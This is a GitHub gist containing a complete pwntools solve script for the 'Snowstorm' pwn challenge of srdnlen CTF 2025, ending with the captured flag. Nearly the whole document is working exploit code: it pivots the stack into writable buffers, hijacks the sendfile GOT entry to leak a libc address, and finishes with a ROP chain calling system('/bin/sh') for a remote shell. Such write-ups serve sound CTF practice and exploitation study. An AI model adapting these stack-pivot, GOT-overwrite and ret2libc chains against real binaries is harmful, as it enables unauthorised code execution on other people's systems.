Last active
April 27, 2025 17:17
-
-
Save lebr0nli/22a477ab151a8131b771b818cf0bde8d to your computer and use it in GitHub Desktop.
srdnlen CTF 2025 - Snowstorm (pwn)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from __future__ import annotations | |
from pwn import * | |
import ctypes | |
import typing as T | |
binary = ELF("./snowstorm_patched") | |
libc = ELF("./libc.so.6") | |
# ld = ELF("./ld-2.39.so") | |
context.binary = binary | |
if args.NEWW: | |
context.terminal = ["tmux", "neww", "-e", "GDB=pwndbg"] | |
else: | |
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"] | |
context.arch = context.binary.arch | |
context.bits = context.binary.bits | |
context.cyclic_size = context.binary.bytes | |
HOST, PORT = (args.NC or "nc snowstorm.challs.srdnlen.it 1089").split()[1:] | |
HOST, PORT = args.HOST or HOST, int(args.PORT or PORT) | |
GDB_SCRIPT = """ | |
break *pwnme+103 | |
break *pwnme+155 | |
continue | |
""".strip() | |
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT.splitlines() if not line.startswith("#")) | |
def strb(data: T.Any) -> bytes: | |
return data if isinstance(data, bytes) else str(data).encode() | |
def cint(n: int, bits: int, signed: bool) -> int: | |
return { | |
(8, True): ctypes.c_int8, | |
(8, False): ctypes.c_uint8, | |
(16, True): ctypes.c_int16, | |
(16, False): ctypes.c_uint16, | |
(32, True): ctypes.c_int32, | |
(32, False): ctypes.c_uint32, | |
(64, True): ctypes.c_int64, | |
(64, False): ctypes.c_uint64, | |
}[(bits, signed)](n).value | |
def log_leak(data: int | bytes | str, name: str = "leaked", use_hex: bool = True) -> None: | |
if isinstance(data, (bytes, str)): | |
info(f"{name}: {data}") | |
return | |
if use_hex: | |
data = hex(data) | |
info(f"{name}: {data}") | |
def demangle(val: int, is_heap_base: bool = False) -> int: | |
if not is_heap_base: | |
mask = 0xFFF << 52 | |
while mask: | |
v = val & mask | |
val ^= v >> 12 | |
mask >>= 12 | |
return val | |
return val << 12 | |
def mangle(heap_addr: int, val: int) -> int: | |
return (heap_addr >> 12) ^ val | |
def conn() -> tube: | |
if args.LOCAL: | |
# ./solve.py LOCAL | |
return process([binary.path]) | |
elif args.GDB: | |
# ./solve.py GDB | |
return gdb.debug([binary.path], gdbscript=GDB_SCRIPT) | |
# ./solve.py | |
return remote(HOST, PORT) | |
def exploit() -> bool: | |
with conn() as io: | |
buf1 = 0x404F00 | |
buf2 = 0x404A00 | |
read_again = 0x4015BD | |
leave_ret = 0x00401681 | |
pop_rdi = 0x001AE710 | |
ret = 0x00401690 | |
puts = 0x401100 | |
stderr = 0x4040A0 | |
log_leak(buf1, "buf1") | |
log_leak(buf2, "buf2") | |
# move rbp to buf1, read again | |
io.sendafter(b"(max 40): ", b"0x40") | |
payload = flat( | |
{ | |
0x30: buf1 + 0x30, | |
0x38: read_again, | |
# 0x38: 0xdeadbeef, | |
}, | |
length=0x40, | |
) | |
io.sendafter(b"\n> ", payload) | |
# put ret2main rop chain to buf1 | |
# make rsp to buf1, rbp to buf2, and read again | |
io.sendafter(b"(max 40): ", b"0x40") | |
payload = flat( | |
{ | |
0x0: buf2 + 0x30, | |
0x8: read_again, | |
0x10: buf1, | |
0x18: binary.symbols["main"], | |
0x28: p32(4), | |
0x2C: p32(4), | |
0x30: buf1, | |
0x38: leave_ret, | |
}, | |
length=0x40, | |
) | |
io.sendafter(b"\n> ", payload) | |
# put got hijack rop chain to buf2 | |
# make rsp to buf2, rbp to stderr + 0x30, and read again | |
io.sendafter(b"(max 40): ", b"0x40") | |
payload = flat( | |
{ | |
0x0: stderr + 0x30, | |
0x8: read_again, | |
0x10: binary.got["sendfile"] + 0x30, | |
0x18: read_again, | |
0x28: p32(4), | |
0x2C: p32(4), | |
0x30: buf2, | |
0x38: leave_ret, | |
}, | |
length=0x40, | |
) | |
io.sendafter(b"\n> ", payload) | |
# write puts got to stderr | |
# make rsp to buf2, rbp to sendfile + 0x30, and read again | |
io.sendafter(b"(max 40): ", b"0x40") | |
payload = flat( | |
{ | |
0x00: binary.got["puts"], | |
0x28: p32(4), | |
0x2C: p32(4), | |
0x30: buf2 + 0x10, | |
0x38: leave_ret, | |
}, | |
length=0x40, | |
) | |
io.sendafter(b"\n> ", payload) | |
# got hijack | |
# make rsp to buf1, finish the rop chain | |
io.sendafter(b"(max 40): ", b"0x40") | |
payload = flat( | |
{ | |
0x00: ret, | |
0x08: puts, | |
0x10: ret, | |
0x18: ret, | |
0x20: ret, | |
0x28: p32(4), | |
0x2C: p32(4), | |
0x30: buf1 + 0x10, | |
0x38: leave_ret, | |
}, | |
length=0x40, | |
) | |
io.sendafter(b"\n> ", payload) | |
io.recvuntil(b"on.\n") | |
io.recvline() | |
io.recvline() | |
leaked = int.from_bytes(io.recv(6), "little") | |
log_leak(leaked) | |
libc.address = leaked - libc.symbols["puts"] | |
log_leak(libc.address, "libc base") | |
io.recvuntil(b"(max 40): ") | |
io.sendline(b"500") | |
payload = flat( | |
{ | |
0x38: pop_rdi + libc.address, | |
0x40: next(libc.search(b"/bin/sh")), | |
0x48: libc.symbols["system"], | |
} | |
) | |
io.sendafter(b"\n> ", payload) | |
io.interactive() | |
return True | |
def main() -> None: | |
if not args.LOOP: | |
exploit() | |
return | |
cnt = 0 | |
saved_addresses = {} | |
for b in filter(None, map(globals().get, ("binary", "libc", "ld"))): | |
saved_addresses[b] = b.address | |
# ./solve.py LOOP | |
while cnt := cnt + 1: | |
info(f"Attempted {cnt}") | |
try: | |
if exploit(): | |
return | |
except Exception as e: | |
debug(str(e)) | |
# clean up the addresses we set during exploit | |
for b, addr in saved_addresses.items(): | |
if b.address != addr: | |
b.address = addr | |
if __name__ == "__main__": | |
main() | |
# srdnlen{39.22N_9.12E_4nd_I'll_C0n71Nu3_70_7R4n5M1t_7h15_M355463} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment